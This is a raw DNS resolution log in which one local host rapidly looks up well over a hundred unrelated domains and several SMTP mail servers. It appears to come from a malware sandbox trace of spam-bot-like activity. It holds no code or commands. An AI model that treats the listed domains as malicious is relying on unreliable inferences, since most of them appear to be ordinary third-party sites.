Jul 27, 2023 21:53:34.427025080 CEST	8.8.8.8	192.168.2.4	0xde22	No error (0)	dyag-eng.com		13.248.169.48	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.427025080 CEST	8.8.8.8	192.168.2.4	0xde22	No error (0)	dyag-eng.com		76.223.54.146	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.443545103 CEST	8.8.8.8	192.168.2.4	0x9d8e	No error (0)	yhsll.com		102.134.49.77	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.454881907 CEST	8.8.8.8	192.168.2.4	0x9dc8	No error (0)	gmail-smtp-in.l.google.com		142.250.27.26	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.460648060 CEST	8.8.8.8	192.168.2.4	0xee49	No error (0)	ludomemo.com		27.0.174.59	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.464492083 CEST	8.8.8.8	192.168.2.4	0xf666	No error (0)	kevyt.net		172.67.129.18	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.464492083 CEST	8.8.8.8	192.168.2.4	0xf666	No error (0)	kevyt.net		104.21.2.101	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.465734959 CEST	8.8.8.8	192.168.2.4	0x3d71	No error (0)	sigtoa.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.465734959 CEST	8.8.8.8	192.168.2.4	0x3d71	No error (0)	sigtoa.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.477958918 CEST	8.8.8.8	192.168.2.4	0xb832	Name error (3)	cpwpb.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.502697945 CEST	8.8.8.8	192.168.2.4	0x72b4	No error (0)	kustnara.com		75.2.70.75	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.502697945 CEST	8.8.8.8	192.168.2.4	0x72b4	No error (0)	kustnara.com		76.223.27.102	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.502697945 CEST	8.8.8.8	192.168.2.4	0x72b4	No error (0)	kustnara.com		99.83.190.102	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.502697945 CEST	8.8.8.8	192.168.2.4	0x72b4	No error (0)	kustnara.com		13.248.155.104	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.509263992 CEST	8.8.8.8	192.168.2.4	0x892	No error (0)	in1.smtp.messagingengine.com		103.168.172.216	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.509263992 CEST	8.8.8.8	192.168.2.4	0x892	No error (0)	in1.smtp.messagingengine.com		103.168.172.219	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.509263992 CEST	8.8.8.8	192.168.2.4	0x892	No error (0)	in1.smtp.messagingengine.com		103.168.172.218	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.509263992 CEST	8.8.8.8	192.168.2.4	0x892	No error (0)	in1.smtp.messagingengine.com		103.168.172.217	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.509263992 CEST	8.8.8.8	192.168.2.4	0x892	No error (0)	in1.smtp.messagingengine.com		103.168.172.221	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.509263992 CEST	8.8.8.8	192.168.2.4	0x892	No error (0)	in1.smtp.messagingengine.com		103.168.172.220	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.520670891 CEST	8.8.8.8	192.168.2.4	0x3974	No error (0)	rokoron.com		211.13.204.3	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.528209925 CEST	8.8.8.8	192.168.2.4	0xccb2	Name error (3)	cpwpb.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.533868074 CEST	8.8.8.8	192.168.2.4	0x74d	No error (0)	ccrsi.org		198.209.253.30	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.560977936 CEST	8.8.8.8	192.168.2.4	0x8283	No error (0)	hyab.se		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.560977936 CEST	8.8.8.8	192.168.2.4	0x8283	No error (0)	hyab.se		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.581778049 CEST	8.8.8.8	192.168.2.4	0x293	Name error (3)	cpwpb.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.585073948 CEST	8.8.8.8	192.168.2.4	0xadd6	No error (0)	xsui.com		127.0.0.1	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.606151104 CEST	8.8.8.8	192.168.2.4	0x9f0c	No error (0)	any-s.net		108.170.12.50	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.665883064 CEST	8.8.8.8	192.168.2.4	0x23dc	No error (0)	at-shun.com		210.140.73.39	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.801187992 CEST	8.8.8.8	192.168.2.4	0x8b5	No error (0)	ldh.la.gov		75.2.95.235	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.802903891 CEST	8.8.8.8	192.168.2.4	0x462b	No error (0)	nme.co.jp		203.0.113.0	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.819324970 CEST	8.8.8.8	192.168.2.4	0x5ea4	No error (0)	mkm-gr.com		79.124.76.247	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.846323013 CEST	8.8.8.8	192.168.2.4	0x82e5	No error (0)	cjborden.com		15.197.142.173	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.846323013 CEST	8.8.8.8	192.168.2.4	0x82e5	No error (0)	cjborden.com		3.33.152.147	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.850925922 CEST	8.8.8.8	192.168.2.4	0xeaa4	No error (0)	jnf.at		136.243.147.81	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.852184057 CEST	8.8.8.8	192.168.2.4	0x5984	No error (0)	sgk.home.pl		89.161.136.188	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.861452103 CEST	8.8.8.8	192.168.2.4	0xc57b	No error (0)	orlyhotel.com		104.21.48.207	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.861452103 CEST	8.8.8.8	192.168.2.4	0xc57b	No error (0)	orlyhotel.com		172.67.156.49	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.872889996 CEST	8.8.8.8	192.168.2.4	0xa6a1	No error (0)	nblewis.com		52.0.29.214	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.872889996 CEST	8.8.8.8	192.168.2.4	0xa6a1	No error (0)	nblewis.com		35.169.15.168	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.872889996 CEST	8.8.8.8	192.168.2.4	0xa6a1	No error (0)	nblewis.com		35.168.185.204	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.878201008 CEST	8.8.8.8	192.168.2.4	0x606e	No error (0)	onzcda.com		15.197.204.56	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.878201008 CEST	8.8.8.8	192.168.2.4	0x606e	No error (0)	onzcda.com		3.33.243.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.881356955 CEST	8.8.8.8	192.168.2.4	0x3094	Name error (3)	arowines.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.885888100 CEST	8.8.8.8	192.168.2.4	0xb173	No error (0)	sjbmw.com		164.92.82.47	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.899122000 CEST	8.8.8.8	192.168.2.4	0xb76b	No error (0)	diamir.de		94.130.146.206	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.916843891 CEST	8.8.8.8	192.168.2.4	0xdab9	Name error (3)	arowines.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.918622971 CEST	8.8.8.8	192.168.2.4	0xc4f5	No error (0)	themark.org		35.172.94.1	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.918622971 CEST	8.8.8.8	192.168.2.4	0xc4f5	No error (0)	themark.org		100.24.208.97	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.929614067 CEST	8.8.8.8	192.168.2.4	0x66cc	No error (0)	nekono.net		202.172.28.187	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.938780069 CEST	8.8.8.8	192.168.2.4	0xc3bc	No error (0)	mikihan.com		153.126.211.112	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.947796106 CEST	8.8.8.8	192.168.2.4	0x2e4c	No error (0)	78san.com		133.242.15.119	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.951240063 CEST	8.8.8.8	192.168.2.4	0x69ec	No error (0)	araax.com	traff-6.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:34.951240063 CEST	8.8.8.8	192.168.2.4	0x69ec	No error (0)	traff-6.hugedomains.com	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:34.951240063 CEST	8.8.8.8	192.168.2.4	0x69ec	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		3.140.13.188	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.951240063 CEST	8.8.8.8	192.168.2.4	0x69ec	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		18.119.154.66	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.951281071 CEST	8.8.8.8	192.168.2.4	0x9d9e	Name error (3)	arowines.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:34.994374037 CEST	8.8.8.8	192.168.2.4	0x467a	Name error (3)	mail7.digitalwaves.co.nz	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.004640102 CEST	8.8.8.8	192.168.2.4	0x4200	No error (0)	wahw.com.au		54.194.190.151	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.042821884 CEST	8.8.8.8	192.168.2.4	0x82a8	No error (0)	camamat.com		104.21.235.31	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.042821884 CEST	8.8.8.8	192.168.2.4	0x82a8	No error (0)	camamat.com		104.21.235.32	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.163942099 CEST	8.8.8.8	192.168.2.4	0x6325	No error (0)	wolffkran.de		46.4.56.54	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.192676067 CEST	8.8.8.8	192.168.2.4	0x3d31	No error (0)	biurohera.pl		54.36.175.146	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.192676067 CEST	8.8.8.8	192.168.2.4	0x3d31	No error (0)	biurohera.pl		79.96.161.192	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.219856977 CEST	8.8.8.8	192.168.2.4	0xe63f	No error (0)	sledsport.ru		185.22.232.175	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.270143032 CEST	8.8.8.8	192.168.2.4	0x784c	No error (0)	dyag-eng.com		13.248.169.48	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.270143032 CEST	8.8.8.8	192.168.2.4	0x784c	No error (0)	dyag-eng.com		76.223.54.146	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.314534903 CEST	8.8.8.8	192.168.2.4	0x82e0	No error (0)	okashimo.com		203.137.75.45	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.316435099 CEST	8.8.8.8	192.168.2.4	0xa72d	No error (0)	106west.com		148.130.4.196	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.344638109 CEST	8.8.8.8	192.168.2.4	0x4c55	No error (0)	holp-ai.com		59.106.13.169	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.472810984 CEST	8.8.8.8	192.168.2.4	0x781c	No error (0)	dwid.de		87.230.93.218	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.528330088 CEST	8.8.8.8	192.168.2.4	0xc6b7	No error (0)	sledsport.ru		185.22.232.175	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.583679914 CEST	8.8.8.8	192.168.2.4	0xe9ad	No error (0)	slower.it		127.0.0.11	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.596683025 CEST	8.8.8.8	192.168.2.4	0xca10	No error (0)	absblast.com		141.193.213.20	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.604465008 CEST	8.8.8.8	192.168.2.4	0x3a2d	No error (0)	tabbles.net		80.211.41.39	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.674170971 CEST	8.8.8.8	192.168.2.4	0xc4a0	No error (0)	absblast.com		141.193.213.20	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.717530966 CEST	8.8.8.8	192.168.2.4	0xdb03	No error (0)	johnlyon.org		141.193.213.20	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.743416071 CEST	8.8.8.8	192.168.2.4	0x9c18	No error (0)	avse.hu		185.129.138.60	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.759140015 CEST	8.8.8.8	192.168.2.4	0x185e	No error (0)	cnti.krsn.ru		217.74.161.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.766997099 CEST	8.8.8.8	192.168.2.4	0x84e0	No error (0)	camamat.com		104.21.235.31	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.766997099 CEST	8.8.8.8	192.168.2.4	0x84e0	No error (0)	camamat.com		104.21.235.32	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.805752993 CEST	8.8.8.8	192.168.2.4	0x6da5	No error (0)	agulatex.com		133.125.38.187	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.830797911 CEST	8.8.8.8	192.168.2.4	0x236f	No error (0)	hubbikes.com		75.2.70.75	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.830797911 CEST	8.8.8.8	192.168.2.4	0x236f	No error (0)	hubbikes.com		99.83.190.102	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.842911005 CEST	8.8.8.8	192.168.2.4	0x24cf	Name error (3)	iranytu.net	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.847209930 CEST	8.8.8.8	192.168.2.4	0xb2ad	No error (0)	strazynski.pl		85.128.196.22	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.880211115 CEST	8.8.8.8	192.168.2.4	0x4687	Name error (3)	iranytu.net	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.913161039 CEST	8.8.8.8	192.168.2.4	0x80d2	Name error (3)	iranytu.net	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.942616940 CEST	8.8.8.8	192.168.2.4	0x833c	No error (0)	sokuwan.net		185.230.63.107	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.942616940 CEST	8.8.8.8	192.168.2.4	0x833c	No error (0)	sokuwan.net		185.230.63.171	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.942616940 CEST	8.8.8.8	192.168.2.4	0x833c	No error (0)	sokuwan.net		185.230.63.186	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.956450939 CEST	8.8.8.8	192.168.2.4	0x5d56	No error (0)	kayoaiba.com		154.213.117.166	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.969744921 CEST	8.8.8.8	192.168.2.4	0x67dd	No error (0)	www.railbook.net		103.224.212.221	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:35.995013952 CEST	8.8.8.8	192.168.2.4	0x762e	No error (0)	stopllc.com		162.241.233.114	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.027606010 CEST	8.8.8.8	192.168.2.4	0x95f5	No error (0)	s5w.com		192.99.226.184	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.038666964 CEST	8.8.8.8	192.168.2.4	0x8551	No error (0)	hyab.com		172.67.193.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.038666964 CEST	8.8.8.8	192.168.2.4	0x8551	No error (0)	hyab.com		104.21.65.224	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.047157049 CEST	8.8.8.8	192.168.2.4	0x7c89	No error (0)	mackusick.de		217.160.0.131	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.049854994 CEST	8.8.8.8	192.168.2.4	0x3965	No error (0)	mkm-gr.com		79.124.76.247	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.055939913 CEST	8.8.8.8	192.168.2.4	0x61fa	No error (0)	umcor.am		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.055939913 CEST	8.8.8.8	192.168.2.4	0x61fa	No error (0)	umcor.am		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.060395956 CEST	8.8.8.8	192.168.2.4	0xd2e1	No error (0)	www.diamir.de		94.130.146.206	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.062509060 CEST	8.8.8.8	192.168.2.4	0x51b7	No error (0)	shenhgts.net		199.59.243.220	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.064342022 CEST	8.8.8.8	192.168.2.4	0x762e	No error (0)	stopllc.com		162.241.233.114	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.071432114 CEST	8.8.8.8	192.168.2.4	0x35fb	No error (0)	sinwal.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.071432114 CEST	8.8.8.8	192.168.2.4	0x35fb	No error (0)	sinwal.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.083524942 CEST	8.8.8.8	192.168.2.4	0xcc0a	No error (0)	indonesiamedia.com		74.208.215.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.083995104 CEST	8.8.8.8	192.168.2.4	0x4dbe	No error (0)	mackusick.com		217.160.0.179	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.101032019 CEST	8.8.8.8	192.168.2.4	0xbc1e	No error (0)	pleszew.policja.gov.pl		91.229.22.126	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.118931055 CEST	8.8.8.8	192.168.2.4	0xdd81	No error (0)	clinicasanluis.com.co		104.21.66.220	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.118931055 CEST	8.8.8.8	192.168.2.4	0xdd81	No error (0)	clinicasanluis.com.co		172.67.164.178	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.122026920 CEST	8.8.8.8	192.168.2.4	0xc057	No error (0)	impexnc.com		204.11.56.48	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.151576042 CEST	8.8.8.8	192.168.2.4	0x9e8d	No error (0)	techtrans.de		185.237.66.112	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.183904886 CEST	8.8.8.8	192.168.2.4	0xa3f1	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.223901987 CEST	8.8.8.8	192.168.2.4	0x64a6	Name error (3)	iranytu.net	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.227169037 CEST	8.8.8.8	192.168.2.4	0xfe90	No error (0)	metaforacom.com		185.42.105.162	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.269721985 CEST	8.8.8.8	192.168.2.4	0x14b	Name error (3)	iranytu.net	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.309176922 CEST	8.8.8.8	192.168.2.4	0xf1db	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.319163084 CEST	8.8.8.8	192.168.2.4	0x539	Name error (3)	iranytu.net	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.345438004 CEST	8.8.8.8	192.168.2.4	0x7235	No error (0)	magicomm.co.uk		83.223.113.46	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.375080109 CEST	8.8.8.8	192.168.2.4	0x159	No error (0)	kewlmail.com		63.251.106.25	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.412638903 CEST	8.8.8.8	192.168.2.4	0xe27	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.421242952 CEST	8.8.8.8	192.168.2.4	0x713e	No error (0)	pertex.com		185.151.30.147	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.443198919 CEST	8.8.8.8	192.168.2.4	0x94ca	No error (0)	gydrozo.ru		91.220.211.163	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.450576067 CEST	8.8.8.8	192.168.2.4	0xeb86	No error (0)	ludomemo.com		27.0.174.59	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.535263062 CEST	8.8.8.8	192.168.2.4	0xe65f	No error (0)	reproar.com		194.143.194.23	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.599641085 CEST	8.8.8.8	192.168.2.4	0x5772	No error (0)	web-york.com		219.94.129.97	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.659104109 CEST	8.8.8.8	192.168.2.4	0xfecd	No error (0)	geecl.com		194.76.27.77	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.767709970 CEST	8.8.8.8	192.168.2.4	0x762e	No error (0)	stopllc.com		162.241.233.114	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.861706018 CEST	8.8.8.8	192.168.2.4	0x86c1	No error (0)	msl-lock.com		165.160.15.20	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.861706018 CEST	8.8.8.8	192.168.2.4	0x86c1	No error (0)	msl-lock.com		165.160.13.20	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.887757063 CEST	8.8.8.8	192.168.2.4	0xc200	No error (0)	smtp.sbcglobal.yahoo.com	smtp-sbc.mail.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:36.887757063 CEST	8.8.8.8	192.168.2.4	0xc200	No error (0)	smtp-sbc.mail.yahoo.com	smtp1.sbc.mail.am0.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:36.887757063 CEST	8.8.8.8	192.168.2.4	0xc200	No error (0)	smtp1.sbc.mail.am0.yahoodns.net		66.163.170.48	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.887757063 CEST	8.8.8.8	192.168.2.4	0xc200	No error (0)	smtp1.sbc.mail.am0.yahoodns.net		67.195.12.38	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.887757063 CEST	8.8.8.8	192.168.2.4	0xc200	No error (0)	smtp1.sbc.mail.am0.yahoodns.net		66.218.88.163	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:36.954567909 CEST	8.8.8.8	192.168.2.4	0xf803	No error (0)	doggybag.org		213.186.33.16	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.110754967 CEST	8.8.8.8	192.168.2.4	0x3707	No error (0)	bible.org		172.67.33.95	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.110754967 CEST	8.8.8.8	192.168.2.4	0x3707	No error (0)	bible.org		104.20.54.214	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.110754967 CEST	8.8.8.8	192.168.2.4	0x3707	No error (0)	bible.org		104.20.55.214	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.113811016 CEST	8.8.8.8	192.168.2.4	0x43c	No error (0)	kumaden.com		49.212.180.178	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.139394045 CEST	8.8.8.8	192.168.2.4	0x3d7	No error (0)	cbras.com		54.39.198.18	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.311739922 CEST	8.8.8.8	192.168.2.4	0xff61	No error (0)	roewer.de		45.142.176.225	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.330876112 CEST	8.8.8.8	192.168.2.4	0x8af2	Server failure (2)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.410706997 CEST	8.8.8.8	192.168.2.4	0xecc6	No error (0)	kamptal.at		128.204.134.138	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.429831028 CEST	8.8.8.8	192.168.2.4	0x176f	No error (0)	alexpope.biz		76.74.184.61	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.465396881 CEST	8.8.8.8	192.168.2.4	0x5129	Server failure (2)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.506290913 CEST	8.8.8.8	192.168.2.4	0x644c	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.542310953 CEST	8.8.8.8	192.168.2.4	0x3c19	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.582467079 CEST	8.8.8.8	192.168.2.4	0x3337	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.609611988 CEST	8.8.8.8	192.168.2.4	0xf302	Server failure (2)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.705960989 CEST	8.8.8.8	192.168.2.4	0xb6c6	No error (0)	muhr-soehne.de		5.189.171.125	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.770051003 CEST	8.8.8.8	192.168.2.4	0x2a56	No error (0)	t-mould.com		81.169.145.175	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.826412916 CEST	8.8.8.8	192.168.2.4	0x4fa4	No error (0)	snf.it		95.174.22.233	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.860796928 CEST	8.8.8.8	192.168.2.4	0x90b1	No error (0)	shztm.ru		62.122.170.171	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.872946978 CEST	8.8.8.8	192.168.2.4	0x6be3	No error (0)	alexpope.biz		76.74.184.61	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.939373970 CEST	8.8.8.8	192.168.2.4	0x4ef2	No error (0)	biosolve.com		151.101.130.159	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.947328091 CEST	8.8.8.8	192.168.2.4	0xad2	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.973311901 CEST	8.8.8.8	192.168.2.4	0xf2c0	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.988094091 CEST	8.8.8.8	192.168.2.4	0x9b29	No error (0)	ossir.org		51.159.3.117	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.010340929 CEST	8.8.8.8	192.168.2.4	0x77c6	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.147284985 CEST	8.8.8.8	192.168.2.4	0xd542	No error (0)	websy.com		13.248.169.48	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.147284985 CEST	8.8.8.8	192.168.2.4	0xd542	No error (0)	websy.com		76.223.54.146	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.372637987 CEST	8.8.8.8	192.168.2.4	0x2f71	Name error (3)	grlawcc.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.415735006 CEST	8.8.8.8	192.168.2.4	0xe166	Name error (3)	grlawcc.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.450419903 CEST	8.8.8.8	192.168.2.4	0x867e	Name error (3)	grlawcc.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.568448067 CEST	8.8.8.8	192.168.2.4	0xef77	No error (0)	esmoke.net		204.15.134.44	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.684473991 CEST	8.8.8.8	192.168.2.4	0xbebc	No error (0)	ncn.de		46.30.60.158	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.737603903 CEST	8.8.8.8	192.168.2.4	0xbe20	No error (0)	angework.com		219.94.128.87	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.950601101 CEST	8.8.8.8	192.168.2.4	0x2b8b	No error (0)	ccssinc.com		172.67.185.152	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.950601101 CEST	8.8.8.8	192.168.2.4	0x2b8b	No error (0)	ccssinc.com		104.21.19.68	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.015562057 CEST	8.8.8.8	192.168.2.4	0x4883	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.032097101 CEST	8.8.8.8	192.168.2.4	0xa8dd	No error (0)	wvs-net.de		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.032097101 CEST	8.8.8.8	192.168.2.4	0xa8dd	No error (0)	wvs-net.de		188.114.97.7	A (IP address)	IN (0x0001)	false
